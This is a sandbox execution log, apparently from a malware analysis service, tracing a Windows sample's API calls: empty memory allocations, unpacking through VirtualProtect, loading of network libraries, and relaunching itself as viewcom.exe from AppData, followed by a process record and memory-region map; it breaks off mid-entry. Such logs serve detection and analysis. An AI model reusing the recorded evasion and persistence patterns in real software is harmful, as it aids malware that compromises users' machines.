[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.516] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.517] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.518] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.519] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.520] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.521] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.523] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.523] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.523] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.523] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.523] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.615] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.615] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.616] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.616] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x4) returned 0x170000
[0062.617] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0062.617] GetProcAddress (hModule=0x76350000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x7638480b
[0062.617] FreeConsole () returned 0
[0062.617] VirtualProtect (in: lpAddress=0x171000, dwSize=0x885f, flNewProtect=0x20, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0062.618] VirtualProtect (in: lpAddress=0x17a000, dwSize=0xb12, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0062.618] VirtualProtect (in: lpAddress=0x17b000, dwSize=0xbd8, flNewProtect=0x4, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0062.618] VirtualProtect (in: lpAddress=0x17c000, dwSize=0x4d8, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0062.618] VirtualProtect (in: lpAddress=0x170000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0064.826] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12fc18, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0064.826] _snwprintf (in: _Dest=0x12fe20, _Count=0x40, _Format="E%X" | out: _Dest="E68B1B0D0") returned 9
[0064.826] _snwprintf (in: _Dest=0x12fea0, _Count=0x40, _Format="M%X" | out: _Dest="M68B1B0D0") returned 9
[0064.826] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="E68B1B0D0") returned 0xbc
[0064.826] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="M68B1B0D0") returned 0xc0
[0064.826] GetLastError () returned 0x0
[0064.826] CreateProcessW (in: lpApplicationName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x12ff20*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12ff64 | out: lpCommandLine=0x0, lpProcessInformation=0x12ff64*(hProcess=0xc8, hThread=0xc4, dwProcessId=0xb98, dwThreadId=0xb9c)) returned 1
[0064.830] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
[0067.684] CloseHandle (hObject=0xc8) returned 1
[0067.684] CloseHandle (hObject=0xc4) returned 1
[0067.684] CloseHandle (hObject=0xbc) returned 1
[0067.684] CloseHandle (hObject=0xc0) returned 1
[0067.684] ExitProcess (uExitCode=0x0)
Thread:
id = 46
os_tid = 0xb94
Process:
id = "6"
image_name = "viewcom.exe"
filename = "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"
page_root = "0x7f13e440"
os_pid = "0xb98"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "5"
os_parent_pid = "0xb8c"
cmd_line = "\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 986
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 987
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 988
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 989
start_va = 0x400000
end_va = 0x415fff
entry_point = 0x401390
region_type = mapped_file
name = "38763.exe"
filename = "\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")
Region:
id = 990
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 991
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 992
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 993
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 994
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 995
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 996
start_va = 0x180000
end_va = 0x27ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000180000"
filename = ""
Region:
id = 997
start_va = 0x280000
end_va = 0x2e6fff
entry_point = 0x280000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 998
start_va = 0x340000
end_va = 0x34ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000340000"
filename = ""
Region:
id = 999
start_va = 0x420000
end_va = 0x4e7fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000420000"
filename = ""
Region:
id = 1000
start_va = 0x6d400000
end_va = 0x6d450fff
entry_point = 0x6d42988c
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")
Region:
id = 1001
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1002
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 1003
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 1004
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1005
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1006
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1007
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1008
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1009
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1010
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1011
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 1012
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1013
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1014
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1015
start_va = 0x140000
end_va = 0x140fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000140000"
filename = ""
Region:
id = 1016
start_va = 0x4f0000
end_va = 0x5f0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004f0000"
filename = ""
Region:
id = 1017
start_va = 0x600000
end_va = 0x11fffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000600000"
filename = ""
Region:
id = 1018
start_va = 0x1350000
end_va = 0x135ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001350000"
filename = ""
Region:
id = 1019
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1020
start_va = 0x1200000
end_va = 0x12fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001200000"
filename = ""
Region:
id = 1021
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 1022
start_va = 0x150000
end_va = 0x15dfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000150000"
filename = ""
Region:
id = 1023
start_va = 0x160000
end_va = 0x16cfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000160000"
filename = ""
Region:
id = 1024
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1025
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1026
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 1027
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 1028
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce1b35
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 1029
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e1865
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 1030
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e322d9
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 1031
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 1032
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 1033
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 1034
start_va = 0x1360000
end_va = 0x162efff
entry_point = 0x1360000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1035
start_va = 0x170000
end_va = 0x17cfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000170000"
filename = ""
Region:
id = 1036
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x76571601
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 1037
start_va = 0x74dc0000
end_va = 0x74dd6fff
entry_point = 0x74dc1c9d
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 1038
start_va = 0x75710000
end_va = 0x7571afff
entry_point = 0x75711992
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 1039
start_va = 0x741a0000
end_va = 0x741acfff
entry_point = 0x741a11e0
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 1040
start_va = 0x2f0000
end_va = 0x2f0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000002f0000"
filename = ""
Region:
id = 1041
start_va = 0x300000
end_va = 0x314fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1042
start_va = 0x1630000
end_va = 0x172ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001630000"
filename = ""
Region:
id = 1043
start_va = 0x1730000
end_va = 0x182ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001730000"
filename = ""
Region:
id = 1044
start_va = 0x1830000
end_va = 0x192ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001830000"
filename = ""
Region:
id = 1045
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e2dc3
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 1046
start_va = 0x7ffdb000
end_va = 0x7ffdbfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdb000"
filename = ""
Region:
id = 1047
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 1048
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 1049
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1050
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1051
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1052
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1053
start_va = 0x300000
end_va = 0x33bfff
entry_point = 0x30128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1054
start_va = 0x74f80000
end_va = 0x74fbafff
entry_point = 0x74f8128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1055
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1056
start_va = 0x300000
end_va = 0x30ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000300000"
filename = ""
Region:
id = 1057
start_va = 0x310000
end_va = 0x317fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000310000"
filename = ""
Region:
id = 1058
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1059
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1060
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1061
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1062
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1063
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1064
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1065
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1066
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1067
start_va = 0x300000
end_va = 0x307fff
entry_point = 0x0
region_type = pagefile_backed
